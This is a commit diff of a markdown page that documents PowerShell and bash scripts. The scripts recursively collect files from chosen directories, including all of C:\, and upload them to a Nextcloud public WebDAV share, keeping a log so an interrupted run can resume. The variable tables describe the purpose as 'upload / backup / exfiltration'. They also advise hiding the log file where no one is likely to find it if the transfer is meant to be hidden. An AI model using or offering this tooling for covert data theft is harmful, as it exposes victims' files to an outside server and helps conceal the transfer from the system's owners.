Update Scripts/Powershell/Nextcloud/Upload Data to Nextcloud Share.md
This commit is contained in:
@ -14,11 +14,11 @@
|
|||||||
| `SECONDARY_DIR` | `C:\` | This is the secondary target, it's less important but nice-to-have with the upload / backup / exfiltration once the primary copy is completed. The target can be a directory or a single file. |
|
| `SECONDARY_DIR` | `C:\` | This is the secondary target, it's less important but nice-to-have with the upload / backup / exfiltration once the primary copy is completed. The target can be a directory or a single file. |
|
||||||
| `LOGFILE` | `C:\Windows\Temp\nc_pull.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
| `LOGFILE` | `C:\Windows\Temp\nc_pull.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
||||||
|
|
||||||
``` powershell
|
``` powershell
|
||||||
# --------------------------
|
# --------------------------
|
||||||
# Function for File Upload Logic
|
# Function for File Upload Logic
|
||||||
# --------------------------
|
# --------------------------
|
||||||
Function Upload-Files ($targetDir) {
|
Function Upload-Files ($targetDir) {
|
||||||
Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
|
Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
|
||||||
try {
|
try {
|
||||||
# --------------------------
|
# --------------------------
|
||||||
@ -59,7 +59,7 @@
|
|||||||
Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
|
Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# --------------------------
|
# --------------------------
|
||||||
# Initialize Environment Variables
|
# Initialize Environment Variables
|
||||||
@ -101,22 +101,22 @@
|
|||||||
| `DATA_TO_COPY` | `/home/bunny/example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
|
| `DATA_TO_COPY` | `/home/bunny/example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
|
||||||
| `LOGFILE` | `/tmp/uploaded_files.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
| `LOGFILE` | `/tmp/uploaded_files.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
|
||||||
|
|
||||||
``` sh
|
``` sh
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# Directory to search
|
# Directory to search
|
||||||
DIR=$DATA_TO_COPY
|
DIR=$DATA_TO_COPY
|
||||||
|
|
||||||
# URL for the upload
|
# URL for the upload
|
||||||
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"
|
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"
|
||||||
|
|
||||||
# Check if log file exists. If not, create one.
|
# Check if log file exists. If not, create one.
|
||||||
if [ ! -f "$LOGFILE" ]; then
|
if [ ! -f "$LOGFILE" ]; then
|
||||||
touch "$LOGFILE"
|
touch "$LOGFILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Iterate over each file in the directory and its subdirectories
|
# Iterate over each file in the directory and its subdirectories
|
||||||
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
|
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
|
||||||
# Extract just the filename
|
# Extract just the filename
|
||||||
filename=$(basename "$file")
|
filename=$(basename "$file")
|
||||||
|
|
||||||
@ -130,18 +130,18 @@
|
|||||||
# Get the HTTP status code
|
# Get the HTTP status code
|
||||||
status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")
|
status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")
|
||||||
|
|
||||||
# # Print the HTTP status code
|
# # Print the HTTP status code
|
||||||
# echo "HTTP status code: $status_code"
|
# echo "HTTP status code: $status_code"
|
||||||
|
|
||||||
# # Check the HTTP status code
|
# # Check the HTTP status code
|
||||||
# if [[ "$status_code" = "200" ]]; then
|
# if [[ "$status_code" = "200" ]]; then
|
||||||
# # If upload was successful, record this file in the log
|
# # If upload was successful, record this file in the log
|
||||||
echo "$file" >> "$LOGFILE"
|
echo "$file" >> "$LOGFILE"
|
||||||
# else
|
# else
|
||||||
# echo "Failed to upload $file"
|
# echo "Failed to upload $file"
|
||||||
# fi
|
# fi
|
||||||
else
|
else
|
||||||
echo "Skipping previously uploaded file $file"
|
echo "Skipping previously uploaded file $file"
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
```
|
```
|
Reference in New Issue
Block a user